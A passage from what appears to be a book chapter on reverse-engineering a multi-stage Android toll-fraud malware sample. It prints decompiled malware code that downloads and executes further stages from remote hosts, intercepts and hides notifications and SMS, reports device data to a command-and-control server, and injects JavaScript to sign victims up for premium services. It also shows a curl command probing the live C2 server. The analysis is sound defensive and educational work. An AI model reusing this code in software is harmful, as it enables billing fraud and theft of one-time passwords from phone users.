int length = (str.length() - 1) + (-5);

while (length >= 0) {

if (sb.length() % 2 == 0) {

sb.append(str.charAt(length));

length -= 4;

}

else {

sb.append(str.charAt(length));

length -= 2;

}
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}

return sb.toString();

}

Listing 3-10: The complete decryption method

This last step did not pull in any more variables, so we’re done. Of the
50 original lines in p, only these lines contribute to string decryption. The
malware authors added the rest of the code to mislead us. Compiling and
running this code in Java confirms that it decrypts the string qmqMRa3e34Orq

tqLdSAnAjne4p4ssoXYOMh to openStream, the name of the method that is looked
up through reflection.

The crucial mistake that allowed us to speedily recover the decryption
code is that the developers mixed original instructions with obfuscating in
structions but kept the data flow of the original code completely separate
from the data flow of the obfuscated code. Thus, the code initially appears
difficult to read and hard to follow, but when we look only at variables and
how they influence each other, we can easily extract the original code with
out having to consider the obfuscation at all.

The small size of the decryption method allowed us to trace the data
flow manually. To avoid similar manual work in the future, we could write
code that performs these steps automatically using techniques from com
piler theory, like usedefinition chains.

Decrypting All Strings in the Class
Now that we’ve understood the decryption method and rebuilt it in Java,
we can easily decode all the strings in the d.b class. Unless malware devel
opers go the extra mile to hide this connection, there tends to be a strong
correlation between the length of an obfuscated or encrypted string and its
importance. The string starting with PnPt seems to be the longest, and sure
enough, once decoded, it translates to a URL.

The decoded URL is the same one we found earlier in the d.a class. By
connecting to it, we were able to download a file called ban, which contains
the code of the next stage. The rest of the code in d.b downloads this code
file and loads it through the reflection API. We leave following this process
as an exercise for the reader.

The Malware’s Second Stage
The ban file is much smaller and less obfuscated than the d.b class. You’ll
commonly find this to be the case in later malware stages, which generally
contain less functionality. Malware developers might also think that their
first stage has enough protection.

The ban file contains two packages, yin.* and com.*. The yin.* package
contains only three small classes. One of these, yin.Chao, is loaded by the
first stage in d.b, as shown in Listing 311.
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Class<?> cls = Class.forName(

p("2r2++eEdEysahohVVLdsdOUsCaCN9lJCJnBxyeyXoD-.

o7mjejHrtjsjF:yisi2B.4k4K5iovoH5lWaWildMY.W:"));

...

Class<?> cls2 = (Class) ((Method) j(

cls, p("WC6sGsGJlaVlVteC=d=J:anonPkleEBJ-"))).invoke(

newInstance, p("fofRiawhwZyCx.xF-nViVkrysJ4iJ"));

Listing 3-11: The malware obfuscates its invoking of yin.Chao through encrypted strings.

The three obfuscated strings decrypt to dalvik.system.DexClassLoader,
loadClass, and yin.Chao, in that order.

Entry Points
While the code is small enough to simply read, let’s use our structured
approach to find interesting entry points to our analysis. This approach
makes sure that we don’t miss interesting functionality.

As ban is a dynamically loaded plugin file, our analysis of it will differ
from our firststage analysis in some major ways. Most importantly, plugin
files do not have a manifest file, making it much harder to find permissions
or entry points. In fact, plugins have no predefined entry point. The code
that loads the plugin can declare the class and method in which the plugin
should begin to run.

Permissions
Plugin files like ban can use only the permissions declared in the manifest
file of the app that loads them. Knowing this, we can simply revisit the per
missions we discovered earlier. A text search for permission in jadx returns
two distinct parts of ban. In the com.gppp.hk.b.b class, a string array mentions
the READ_PHONE_STATE and READ_CONTACTS permissions. In the com.gppp.hk.a.a

class, code requests these permissions. Later in this chapter, you’ll see that
the malware uses the READ_PHONE_STATE permission to access the device’s phone
number. The use of READ_CONTACTS remains unclear.

Of course, banmight make use of other permissions declared in the
main app’s manifest file. As an exercise, try using one of the previously dis
cussed permission maps to find permissionprotected API calls.

The Main Entry Point
We mentioned that the code loading the plugin gets to decide where
in the plugin execution begins. To find this entry point, we need to revisit
the d.b class of the first stage, where the encrypted string fofRiawhwZyCx.xF

-nViVkrysJ4iJ decrypts to yin.Chao. Its first method is also called yin, once
decrypted. If we don’t find any better leads, starting with yin.Chao is a good
idea, as it will allow us to understand the malware’s second stage from its
first executed line of code.
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Activities, Services, and Broadcast Receivers
In addition to the main entry point into ban, we can also look for activities,
services, and broadcast receivers. Using jadx’s search function shows one
activity and one service, but no broadcast receivers.

While the activity com.gufra.base_normal.MainActivity seems unused, the
service in com.gppp.hk.b.a is important. This is the base class of the notifica
tion listener com.bp.statis.bloodsugar.PE, which intercepts app notifications
on behalf of the malware. Later in this section, we’ll explain this service in
more detail.

Note that there are other service subclasses of com.gppp.hk.b.a, but the
app cannot run them because they are not declared in the manifest file.
We’ll ignore these services going forward, as they appear to be dead code.

Anti-Analysis Tricks and Hidden Code
While this second stage includes no native code or uses of the encryption
package javax.crypto, we can find some interesting uses of the reflection
API. Searching for reflect in jadx shows five instances of it, of which com.gppp

.hk.a.b.a is the most relevant, as it contains another URL string. Further de
scribed later in this chapter, this class is responsible for downloading and
running the third stage of the malware.

Strings and API Names
Besides functionality related to permissions, reflection, and the previously
mentioned URL from which to download the third stage, there is little more
to discover from a search for strings and method names.

For example, a search for sms returns a single line, where the malware
checks whether it is the default SMS handler configured on the system, but
that’s it. The second stage is just too small for any other discoveries.

The yin.Chao.yin Method
Let’s take a look at the code for yin.Chao.yin, the method from which the
main app executes the plugin. As shown in Listing 312, it starts a new
thread from which to call a few other methods.

public static void yin(final Context context, final String str) {

new Thread(new Runnable() { // from class: yin.Chao.1

@Override // java.lang.Runnable

public void run() {

try {

Hook.hook2(context, str);

} catch (Exception e) {

e.printStackTrace();

}

((Application) context).registerActivityLifecycleCallbacks(new a(r3));

try {

Thread.sleep(1000L);
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} catch (InterruptedException e2) {

e2.printStackTrace();

}

Chao.Nti(context, r3);

b.a(context);

}

}).start();

}

Listing 3-12: The yin.Chao.yin method is the entry point into the malware’s second stage.

A cursory glance at these other methods shows that the last two, Chao.Nti
and b.a, may be interesting. Code in Chao.Nti, shown in Listing 313, checks
whether the user has already granted the app permission to process notifi
cations sent by all other apps. If not, the app shows the dialog for granting
that permission.

public static void Nti(Context context, String str) {

try {

Class<?> cls = Class.forName(str);

String string = Settings.Secure.getString(

context.getContentResolver(), "enabled_notification_listeners");

if (string == null || !string.contains(context.getPackageName())) {

Intent intent = new Intent();

intent.setAction(

"android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS");

intent.putExtra(

"android.provider.extra.APP_PACKAGE", context.getPackageName());

intent.addFlags(805306368);

context.startActivity(intent);

} else {

c.a(context, cls);

}

} catch (Exception unused) {

}

}

Listing 3-13: Chao.Nti tries to get access to all app notifications.

Recall that we previously saw a service for processing app notifications
declared in the manifest file, but that we couldn’t find the code for it. This
method seems to be it.

The b.a method, whose fully qualified name is com.gppp.hk.a.b.a, is even
more interesting. As you can see in Listing 314, it opens a connection to
https://xn3o.ossaccelerate.aliyuncs.com/xn3o, downloads yet another code stage
from there, and executes the downloaded code with the DexClassLoader API.

HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(

"https://xn3o.oss-accelerate.aliyuncs.com/xn3o").openConnection();

httpURLConnection.connect();
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if (httpURLConnection.getResponseCode() == 200) {

InputStream inputStream = httpURLConnection.getInputStream();

FileOutputStream fileOutputStream = new FileOutputStream(file);

byte[] bArr = new byte[1024];

while (true) {

int read = inputStream.read(bArr);

if (-1 == read) {

break;

}

fileOutputStream.write(bArr, 0, read);

}

if (file.exists()) {

Class loadClass2 = new DexClassLoader(

file.getPath(), file.getAbsolutePath(), "",

context.getClassLoader()).loadClass("com.xn3o");

Log.i("fb_nor", "c" + loadClass2.getName());

Method method2 = loadClass2.getMethod("xn3o", Context.class);

Log.i("fb_nor", "m" + method2.getName());

method2.invoke(null, context);

}

}

Listing 3-14: The method com.gppp.hk.a.b.a downloads the third malware stage.

The two other methods called by yin.Chao.yin seem less interesting.
The Hook.hook2 method contains code for merging the app’s default class
loader with a new class loader. Its code seems to have been copied from
Chineseorigin Android plugin tutorials, reminding us to always search
for any kind of boilerplate code we encounter during analysis. The call to
registerActivityLifecycleCallbacks registers a callback that prompts the user
to grant certain permissions at various stages of the app’s lifecycle.

The com.* Package
Before moving on to the third stage, let’s have a quick look at ban’s second
package, com.*. It contains a whole lot of subpackages with different names
yet similar code. For example, in the com.bp.statis.bloodsugar package, we find
one class, PE. This is the notification listener service declared in the manifest
file. Its code is tiny, as it merely forwards the incoming notification to its
parent class, com.gppp.hk.b.a. Most other subpackages of the com.* package
have a similar structure. We can assume that the names of the subpackages
belong to other malware samples of the same family.

The code in the parent class com.gppp.hk.b.a is likewise small. Shown in
Listing 315, it takes incoming notifications, forwards them to other parts of
the app with a broadcast message, and then hides the original notification
from the user.

private void post(StatusBarNotification statusBarNotification) {

CharSequence charSequence =
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statusBarNotification.getNotification().extras.getCharSequence(

"android.text");

if (!TextUtils.isEmpty(charSequence)) {

Intent intent = new Intent("action_text");

intent.putExtra("android.text", charSequence.toString());

sendBroadcast(intent);

}

cancelAllNotifications();

}

Listing 3-15: The com.gppp.hk.b.a class intercepts notifications from all other apps on the
device.

This code uses contextregistered messages and broadcast receivers that
aren’t declared in the manifest file. Somewhere else, probably in the same
app, we should find a broadcast receiver that listens for broadcasts of type
action_text. Locating this broadcast receiver can often be tricky, but in this
particular malware sample, it’s not. If you search for action_text in the code
of the malware’s third stage, you’ll find it.

To summarize, the whole purpose of the second stage is to make sure
that the app has access to notifications from all apps on the system. It inter
cepts them and sends their contents to the third stage, which the second
stage also downloads and executes.

The Malware’s Third Stage
The third, and main, stage of this malware sample contains the majority of
its malicious functionality. It has more classes, and a lot more code, than the
previous two stages. Loading the third stage in jadx shows code in packages
com and vgy7.vgy7.vgy7.vgy7.*.

These two packages are very different. The com package contains just
one class, com.xn3o. The vgy7.vgy7.vgy7.vgy7.* package contains 10 classes
distributed across multiple subpackages. The malware authors spent some
effort obfuscating variable names and strings, but it’s still possible to eyeball
what’s going on. For example, the class vgy7.vgy7.vgy7.vgy7.vgy7 contains
a bunch of poorly obfuscated strings that hint at network, telephony, and
JavaScript functionality.

This third stage is unfortunately way too large to fully explain in this
chapter. It contains significant chunks of custom code for manipulating cer
tain premium service signup pages and thwarting their antibot protections.
All the code in this stage contributes to this malicious functionality, so it’s
hard to completely ignore certain packages. Instead, we describe only the
beginning of the third stage’s analysis.

jadx Decompilation Issues
Decompiling the code in com.xn3o.xn3o is beyond jadx’s capabilities, which
happens occasionally when you try to load larger and more complex pieces
of code. As a first workaround, try the jadx option called Show Inconsistent
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Code, which shows the parts of the code that could not be properly disassem
bled. The inconsistent code is mostly correct, but not perfectly so. When it
comes to methods that are important to understand correctly, say a decryp
tion method, it’s best to get a second opinion.

You can get this second opinion by using other Android decompilers.
For example, the Bytecode Viewer tool includes six different Android de
compilers. Usually at least one of them can produce some reasonable de
compiled code for any Android app.

Entry Points
With just 11 classes, it’s possible to manually scan the entire code for inter
esting functionality. But to sharpen our reverse engineering processes, let’s
return to the techniques we’ve introduced previously to find entry points:
looking at permissions; the main entry point; activities, services, and broad
cast receivers; antianalysis tricks and hidden code; and string and API names.

Permissions
Like the second stage, the third stage is a dynamically loaded plugin, which
means that the permissions available to it must be declared in the main app’s
manifest file. Searching for permissions in jadx shows references to the
SEND_SMS and RECEIVE_SMS permissions. Because these two permissions were
not declared in the first stage’s manifest file, xn3o won’t be able to use them.
It is likely that xn3o is loaded by many different malware apps, some of which
have access to one or both of the SMS permissions. Alternatively, the app
may nudge the user to install newer versions of itself that declare these per
missions, but in this particular malware we have not seen such functionality.

Even though this app can’t use the SMS permissions, we can still find it
worthwhile to understand how they are used when loaded into other apps.
The first line of Listing 316 calls the method bhu8, which indirectly calls
the PackageManager.checkPermission method to check for the availability of
the RECEIVE_SMS permission. The second line checks for the SEND_SMS permis
sion. The results are stored in two variables and later sent to the malware’s
commandandcontrol server.

bhu8 = vgy7.vgy7.vgy7.vgy7.bhu8.bhu8(context);

if (context.getPackageManager().checkPermission(

"android.permission.SEND_SMS", context.getPackageName()) != 0) {

z3 = false;

}

Listing 3-16: The malware’s third stage checks for RECEIVE_SMS and SEND_SMS
permissions.

Now that we know that xn3o uses SMS permissions when they’re avail
able, we can search jadx for sms to surface several entry points into the mali
cious functionality. The class vgy7.vgy7.vgy7.vgy7.bhu8 contains references to
the API sendTextMessage, while vgy7.vgy7.vgy7.vgy7.cft6.bhu8 contains code for
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receiving and handling incoming text messages. Besides SMS permissions,
xn3o does not seem to check for any other permissions.

The Main Entry Point
The main entry point into xn3o is defined by the second stage, ban.
Listing 317 shows that the third stage’s execution starts in the com.xn3o

class’s xn3o method.

Class loadClass = new DexClassLoader(

file.getPath(), file.getAbsolutePath(), "",

context.getClassLoader()).loadClass("com.xn3o");

Log.i("fb_nor", "c" + loadClass.getName());

Method method = loadClass.getMethod("xn3o", Context.class);

Log.i("fb_nor", "m" + method.getName());

method.invoke(null, context);

Listing 3-17: Code in ban executes the com.xn3o.xn3o method in the third stage.

If we don’t find any better leads, we could start trying to understand
the functionality of the third stage from there. For now, let’s consider other
potential entry points.

Activities, Services, and Broadcast Receivers
We can also look for activities, services, and broadcast receivers. Using
jadx’s search function shows just two broadcast receivers and not much
else. The first broadcast receiver handles messages sent by the second
stage with android.text. Recall that this broadcast contains intercepted app
notifications. A look into the method bhu8.vgy7, called from the last line of
Listing 318, shows that the app stores the intercepted notifications in a list
for later processing.

@Override // android.content.BroadcastReceiver

public void onReceive(Context context, Intent intent) {

String stringExtra = intent.getStringExtra(this.f5vgy7);

if (TextUtils.isEmpty(stringExtra)) {

stringExtra = intent.getStringExtra("android.text");

}

if (TextUtils.isEmpty(stringExtra)) {

stringExtra = intent.getStringExtra("at");

if (!TextUtils.isEmpty(stringExtra) && !Telephony.Sms.getDefaultSmsPackage(

bhu8.this.f2vgy7).equals(intent.getStringExtra("ap"))) {

return;

}

}

bhu8.vgy7(stringExtra);

}

Listing 3-18: The first broadcast receiver processes previously intercepted app notifications.
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The second broadcast receiver (Listing 319) handles incoming text
messages. It calls the same bhu8.vgy7 method to store and process the inter
cepted messages that it previously used to handle intercepted notifications.
The one difference is that it also pings its commandandcontrol server if the
text message starts with rch.

public void onReceive(Context context, Intent intent) {

vgy7.vgy7.vgy7.vgy7.mko0.vgy7 vgy7Var;

Object[] objArr = (Object[]) intent.getExtras().get(

vgy7.vgy7.vgy7.vgy7.vgy7.c);

if (objArr != null) {

for (Object obj : objArr) {

SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) obj);

String messageBody = createFromPdu.getMessageBody();

if (messageBody != null && messageBody.startsWith("rch")) {

new Thread(new vgy7(this, "http://" + vgy7.vgy7.vgy7.vgy7.vgy7.wsx2 +

"/op/pair?remote=" + vgy7.vgy7.vgy7.vgy7.bhu8.bhu8 + "&device_id=" +

messageBody.substring(3) + "&number=" + URLEncoder.encode(

createFromPdu.getOriginatingAddress()))).start();

}

bhu8 bhu8Var = bhu8.zse4;

if (!(bhu8Var == null || (vgy7Var = bhu8Var.mko0) == null)) {

vgy7Var.mko0("sms_from:" + createFromPdu.getOriginatingAddress());

}

bhu8.vgy7(createFromPdu.getMessageBody());

}

}

}

Listing 3-19: The second broadcast receiver intercepts incoming SMS messages for
processing.

Why the malware looks for rch is unclear. One possibility is that the mal
ware authors send these messages to communicate with the malware as an
alternative to using the HTTPbased commandandcontrol server.

Anti-Analysis Tricks and Hidden Code
Looking for typical antianalysis tricks also works in the third stage. While
there is no native code or uses of the encryption package javax.crypto, we can
find some interesting uses of android.util.Base64. In Listing 320, you can
see a method that encodes a byte array using Base64 and then passes the
encoded byte array to another function.

public static byte[] vgy7(byte[] bArr) {

return vgy7(Base64.encodeToString(bArr, 2), true).getBytes();

}

Listing 3-20: The malware uses Base64 encoding and custom encryption to communicate
with the server.
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As you’ll soon see, this other function, vgy7, is responsible for encrypt
ing and decrypting the malware’s communications with its commandand
control server.

Strings and API Names
Besides functionality related to permissions, SMS, and encoding, we can sur
face some other interesting parts of the code by searching for strings and
method names. A search for HTTP shows embedded URLs, as well as code
from the java.net package used to connect to these URLs. Later in this chap
ter, you’ll learn that many of these URLs are for communicating with the
malware’s commandandcontrol server.

Name Mangling
Now that we’ve found many ways to proceed with the analysis, we have to
make the obfuscated code more readable. One of the most important tools
in a reverse engineer’s toolbox is the ability to rename variables, methods,
classes, and other names in a program. Malware developers like to throw
name mangling techniques at malware analysts, so you’ll often have to re
verse those techniques to resurface the original code.

Renaming mangled names doesn’t just make code easier to understand.
The practice also helps you keep track of code you’ve already analyzed. When
you see an unmangled name, you don’t have to worry about whether you’ve
seen it before; you’ll be able to recognize the humanreadable name more
easily, even if it’s something like unknown_string or not_sure. Rename man
gled names liberally, even if you don’t quite understand yet what a name
is for.

While unmangling names, we also recommend that you introduce some
structure to them. Although the style is shunned in software development
nowadays, we’ve found Hungarian notation, a naming convention in which a
variable’s type information is included in its name, to be extremely useful for
this purpose. For example, you might name an integer iLen, a string strName,
and so on. You can even use this naming scheme for unmangling method
names, for example by using getStrName for a simple getter function that re
turns a string we call name.

Finally, name unmangling can reduce visual load. Try renaming long
names to short names, and names with numbers or Unicode characters to
simple names consisting of ASCII characters only. For each name mangling
technique you encounter, consider why it was introduced and then use your
tool’s renaming function to counter the effect. Developers of name man
gling techniques think it’s smart to use only random Unicode characters,
shorten all names to single characters, or even change the text direction so
names are read from top to bottom instead of left to right. However, for
reverse engineers, all of these techniques make it extremely easy to spot
the difference between mangled names and names that have already been
unmangled. It’s much more confusing for reverse engineers if all names
are random Englishlanguage nouns, or, as we’ve seen in real malware, if
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the names come from the code’s original source but have been randomly
swapped so that the malware uses, for example, int socket and Socket i in
stead of int i and Socket socket.

Armed with these name unmangling concepts, let’s take a stab at un
mangling a sample of the thirdstage code. Listing 321 shows the original
code, with the mangled names intact.

public static void xn3o(android.content.Context p14) {

android.util.Log.e(vgy7.vgy7.vgy7.vgy7.vgy7.bhu8, p14.getPackageName());

android.content.Context v5_0 = p14.getApplicationContext();

if (vgy7.vgy7.vgy7.vgy7.bhu8.qaz1 == null) {

String v0_12;

vgy7.vgy7.vgy7.vgy7.bhu8.qaz1 = vgy7.vgy7.vgy7.vgy7.vgy7.wsx2;

vgy7.vgy7.vgy7.vgy7.bhu8.vgy7 = v5_0.getSharedPreferences("bshwai", 0);

vgy7.vgy7.vgy7.vgy7.bhu8.vgy7();

vgy7.vgy7.vgy7.vgy7.bhu8.bhu8 =

vgy7.vgy7.vgy7.vgy7.bhu8.vgy7.getInt("bshwai", 0);

vgy7.vgy7.vgy7.vgy7.bhu8.mko0 =

vgy7.vgy7.vgy7.vgy7.bhu8.vgy7.getString("tffhhk", 0);

android.telephony.TelephonyManager v0_11 =

((android.telephony.TelephonyManager)v5_0.getSystemService("phone"));

if (v0_11 != null) {

v0_12 = v0_11.getSimOperator();

if (android.text.TextUtils.isEmpty(v0_12)) {

v0_12 = "";

}

}

vgy7.vgy7.vgy7.vgy7.bhu8.cft6 = v0_12;

Listing 3-21: The original mangled code, as produced by jadx

Let’s clean this up by removing lengthy package names to reduce
visual overload, supplying meaningful names, using Hungarian notation
to provide easily accessible type information, and marking code that doesn’t
do anything as noOp (no operation). The unmangled version, shown in
Listing 322, is much easier to understand.

public static void xn3o(android.content.Context context) {

android.util.Log.e(Constants.strDrizzt, context.getPackageName());

android.content.Context context = context.getApplicationContext();

if (Utils.urlUtansy == null) {

String strSimOperator;

Utils.urlUtansy = Constants.urlUtansy;

Utils.prefBshwai = context.getSharedPreferences("bshwai", 0);

Utils.noOp();

Utils.intSettingBhswai = Utils.prefBshwai.getInt("bshwai", 0);

Utils.strSettingTffhhk = Utils.prefBshwai.getString("tffhhk", 0);

android.telephony.TelephonyManager telephonyManager =

((android.telephony.TelephonyManager)context.getSystemService("phone"));
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if (telephonyManager != null) {

strSimOperator = telephonyManager.getSimOperator();

if (android.text.TextUtils.isEmpty(strSimOperator)) {

strSimOperator = "";

}

}

Utils.strSimOperator = strSimOperator;

Listing 3-22: Code cleaned up with jadx’s renaming function

We still don’t know what the preferences in bshwai and tffhhk are, or
what the URL urlUtansy is used for, but at least we can read the transformed
code relatively fluently. Note also that we’ve given two different variables the
same name, context. That would be a big nono in programming, as compil
ers don’t allow two variables in the same scope to have the same name. In
reverse engineering, however, this is perfectly fine, and perhaps even en
couraged. For example, renaming every uninteresting name to an under
score (_) can significantly reduce cognitive load.

Command-and-Control Server Communication
In this section, we will showcase pieces of xn3o to explain how the fraudu
lent app works. Execution of this third stage is dynamic, with a command
andcontrol server telling the malware what to do and in what order. To fol
low along, you must understand how the malware communicates with the
server.

You’ll notice that we’re no longer in the realm of pure static analysis.
At this point, sticking with a static approach alone is too limiting. To under
stand how malware communicates with its commandandcontrol servers,
it’s usually easier to just run the malware and intercept the traffic. However,
to keep this chapter focused on static analysis, we’ll punt our explanation of
dynamic analysis tools to the next chapter and concentrate instead on the
information we can glean from the code.

As you’ll see, this app performs direct carrier billing fraud, or toll fraud,
by signing users up for premium services without their knowledge or against
their will. Some toll fraud functions as a pure social engineering scam, show
ing the users phishinglike signup pages and hoping that they will complete
the registration process themselves. The toll fraud shown here, however,
uses a second common technique: simulating user actions with Android
and JavaScript APIs and signing up for premium services without the user
noticing. Despite all of this automation, the malware performs just a few
key steps:

• Load a referral website that forwards to the premium service.

• Use code to automatically engage with the premium service page
and subscribe the user without their consent.
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• Intercept and extract the onetime password sent over SMS.

• Paste the onetime password into the premium service page to com
plete registration.

Most toll fraud apps use roughly the same framework. Armed with this
knowledge, we can now revisit the malware’s third stage and look into how it
achieves all of these steps.

Examining the Encryption Algorithm
All communication with the commandandcontrol server is encrypted using
a simple algorithm found in the vgy7.vgy7.vgy7.vgy7.bhu8 class. Recall that we
discovered this vgy7 method in Listing 320. Shown in Listing 323, it takes
two arguments. The second argument controls whether the string passed as
the first argument is encrypted (z = true) or decrypted (z = false).

public static String vgy7(String str, boolean z) {

int i = 0;

if (z) {

Random random = new Random();

char[] charArray = str.toCharArray();

StringBuilder sb = new StringBuilder();

char charAt = "abcdefghijklmnopqrstuvmxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(

random.nextInt(13));

char charAt2 = "abcdefghijklmnopqrstuvmxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(

random.nextInt(13) + 13);

int i2 = (charAt2 - charAt) + 5;

sb.append(charAt2);

sb.append(charAt);

char charAt3 = "abcdefghijklmnopqrstuvmxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(

random.nextInt(52));

while (i < charArray.length) {

if (i % i2 == 0) {

sb.append(charAt3);

}

sb.append(charArray[i]);

i++;

}

return sb.toString();

}

int charAt4 = (str.charAt(0) - str.charAt(1)) + 5;

char[] charArray2 = str.substring(2).toCharArray();

StringBuilder sb2 = new StringBuilder();

while (i < charArray2.length) {

if (i % (charAt4 + 1) != 0) {

sb2.append(charArray2[i]);

}

i++;
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}

return sb2.toString();

}

Listing 3-23: The vgy7 method can encrypt and decrypt communications with the command-and-control server.

The encryption algorithm is clearly homegrown and very weak. To en
crypt a string, it first picks a random lowercase letter and a random upper
case letter. It subtracts the ASCII code of the second letter from that of the
first and adds five. The encrypted output string starts with the two random
letters, followed by the letters of the input string to encrypt. At string loca
tions where the result of the subtraction plus five equals zero, the algorithm
inserts a random character that doesn’t have any meaning. For example, the
third character of the encrypted string (in other words, the zeroth character
of the transformed input string) is always a random character, as zero mod
ulo any value is always zero.

Probing the Server from the Command Line
Now that we know how encryption and decryption works, we can write a
small script to interact with the malware’s commandandcontrol server and
probe its commands and responses. As the encryption and decryption rou
tine is selfcontained in just one method, we’ve pasted the code from jadx
into two files, Encrypt.java and Decrypt.java, that can be run from the com
mand line. Here, we use the Linux command line to interact with the mal
ware’s server:

$ echo -n '{"josiwo": "com.bp.statis.bloodsugar", "worikt": "20610",

"zubfih": "1646292590992_", "qredyb": 30, "kdthit": 6 }' |

xargs -0 java Encrypt |

curl https://www.utansy.com/xn3o/in -s -d @- |

xargs java Decrypt

This command encodes a JSON argument with values collected by
the app (and explained later in this section), echoes the command to our
Encrypt script while stripping the newline with the -n flag, pipes the en
crypted payload to cURL in silent (-s) and POST (-d) modes, and decrypts
the command received from the server. The output will look something like
this: "bshwai": 5320786, "xjnguw": "".

NO T E As commandandcontrol servers are usually shortlived, we don’t expect this
commandandcontrol server to be around for experimentation when you’re
reading this book. Unfortunately, this will limit your ability to follow along
with dynamic analysis.

Registering with the Server
Now that we can send encrypted payloads to the server and decrypt its re
sponses, we can begin to understand how the malware communicates with
it. Here, we’ll show the information being sent between the malware and its
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commandandcontrol server by simulating the malware running on a real
device connected to the mobile network of Belgian carrier Orange. As the
malware uses the value of the worikt field in commandandcontrol commu
nication to identify the phone’s mobile carrier, changing this value to iden
tifiers of other mobile carriers allows us to easily experiment with different
mobile carriers in different countries.

The first connection the malware makes to its commandandcontrol
server is to register with the server. It sends registration information to
https://www.utansy.com/xn3o/in using encrypted JSON. The server responds
with an encrypted JSON object that the malware decrypts and processes.

In all instances of encrypted JSON communication, the malware de
velopers replaced the meaningful names of the JSON fields with gibberish
names to throw off analysis. You can see what this looks like in Listing 324,
which shows the decrypted JSON object sent to the commandandcontrol
server in the registration phase.

{

"josiwo": "com.bp.statis.bloodsugar",

"worikt": "20610",

"zubfih": "1646292590992_",

"qredyb": 30,

"kdthit": 6

}

Listing 3-24: The decrypted payload of the registration message

To understand these gibberish names, it helps to approach the problem
from two sides. When you see gibberish JSON fields referred to in the code,
document the values they are assigned. Then do the same thing when you
see gibberish JSON fields in decrypted communication. We can guess the
meaning of some fields, like josiwo, from their assigned values. The meaning
of others, like kdthit, must be found through code inspection.

Luckily, the malware doesn’t try to hide the gibberish strings in the
code or reuse the same gibberish names in different contexts. For example,
searching jadx for josiwo returns only one location, shown in Listing 325.
This code contains the exact same field names as the decrypted JSON object
in Listing 324. We can safely assume that the code is responsible for assign
ing the values of these gibberish fields.

org.json.JSONObject v1_3 = new org.json.JSONObject();

try {

v1_3.put("josiwo", v0_2.getPackageName());

} catch (java.io.IOException v0) {

v0_3 = 0;

} catch (org.json.JSONException v0) {

}

v1_3.put("worikt", bhu8.cft6);

v1_3.put("zubfih", bhu8.xdr5);

v1_3.put("qredyb", android.os.Build$VERSION.SDK_INT);
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v1_3.put("kdthit", 6);

nji9.nji9 v1_7 = new nji9.bhu8(0).vgy7.bhu8.vgy7("xn3o/in").toString(),

bhu8.vgy7(v1_3.toString().getBytes()));

Listing 3-25: Building up the JSON payload of the registration message

With this extra context, we can see that josiwo is clearly the malware
app’s own package name and qredyb is the device’s SDK build level. The
string kdthit is always the number 6, but its meaning is unclear. Maybe it’s
a version code to help the client and server negotiate a communication
protocol.

The meaning of worikt and zubfih are not immediately obvious, but fol
lowing the code to the assignment of the two variables makes it possible to
understand them: worikt is the device’s SIM operator code, as returned by
TelephonyManager.getSimOperator (the 20610 code is for the provider Orange
Belgium). The value of zubfih is more complex. Depending on the device’s
API level, the value is either set to the Unix timestamp of the app’s install
time or the device’s Android ID.

Processing the Registration Response
After a successful registration request, the commandandcontrol server re
sponds with a string that decrypts to the JSON object shown in Listing 326.

{

"bshwai": 4904276,

"xjnguw": ""

}

Listing 3-26: Response from the command-and-control server for a new client registration

The exact meaning of the return value of bshwai is unclear, but it could
be an ID assigned to the client. Using cURL to probe the commandand
control server returns the same value for bshwai until a new timestamp value
is sent in the zubfih request field. It’s likely that the server uses the installa
tion timestamp to distinguish between infected clients and assigns new client
IDs on that basis. As the client IDs seem to increment linearly, it’s also possi
ble to use this value to estimate the number of infected devices and how fast
new devices are infected.

The second return value, xjnguw, is also very interesting. In our tests,
it was nearly always empty. It seems to depend on the app’s package
name, because the server returned a nonempty value when we switched
the package name parameter in josiwo to, for example, com.takela.message,
the package name of another malware sample in the same family. Returned
nonempty values look like 1_1487372418053478, where the 1 (or some
times 2) before the underscore is a version identifier for a fourth stage to
download and the part after the underscore is a Facebook app ID used to
initialize the Facebook SDK bundled in this fourth stage. The fourth
stage is downloaded from https://xn3o.ossaccelerate.aliyuncs.com/fbhx1 or
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https://xn3o.ossaccelerate.aliyuncs.com/fbhx2, depending on the version code.
At the end of this chapter, we’ll take a look at these plugins.

Downloading Commands
After registering with the commandandcontrol server, the malware con
nects to https://www.utansy.com/xn3o/ti to retrieve commands to execute.
These commands are used to connect to an affiliate website that forwards
to a payment signup page. Once the page is loaded, the downloaded com
mands start to interact with it and sign the user up without their consent.
Users will be billed on their next phone bill, and the affiliate that led to the
signup is paid a reward.

The request payload sent to the command URL contains information
collected by the malware about the state of the device. Listing 327 shows an
example request.

{

"zubfih": "1646292590992_",

"bshwai": 4904276,

"eymbmw": true,

"tffhhk":

{

"rktfht": false,

"segdip": false,

"elbcnf": "+3214137764",

"dgebpf":

[

"sp@porst.tv",

"@LambdaCube"

]

}

}

Listing 3-27: Payload sent to the command-and-control server to request commands

The eymbmw field indicates whether the device is on a mobile network or
not (devices need a mobile connection to sign up for many carrier billing
sites). The rktfht field indicates whether the app has permission to receive
incoming SMS messages or access app notifications, which the app needs
in order to retrieve the onetime password for the billing signup process.
The segdip field indicates whether the app has permission to send SMS mes
sages, which is necessary to confirm the billing signup on some pages. The
elbcnf field contains the device’s phone number, and dgebpf contains a list of
all accounts registered with the device. Depending on the device, registered
accounts can be someone’s email address, WhatsApp number, X account
handle, or LinkedIn profile ID. It is unclear why the malware collects this
information. Also included are the values zubfih and bshwai seen in the regis
tration request.
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Processing the Command-and-Control Server’s Response
Interpreting the response received from the command URL is difficult, but
Listing 328 shows the two most obvious fields.

{

"lybfta":

[

{

"ejqgpk": 42698996,

"gooycf": "https://d624x9ov.com/dVZjL5Vo?campaign=10372

&sub_aff=42698996&sub_aff3=EZ",

"inbzrz": 200,

"hyszxc": false,

"eymbmw": false,

"gkreil":

[

{

"ejqgpk": 7198,

"xjnguw": 100,

"jxdkqb": "try{window.JBridge.call('log','v1');

var phone_input=document.querySelector('#phone-input');

var phone_submit=document.querySelector('#phone-continue-button');

if(phone_input!=null&&phone_input.offsetHeight>0){

window.JBridge.call('log��','��phone');

phone_input.value='0'+'214137764';

window.JBridge.call('log','214137764');

var event=document.createEvent('HTMLEvents');

event.initEvent('input',true,true);

phone_input.dispatchEvent(event);

phone_submit.click();
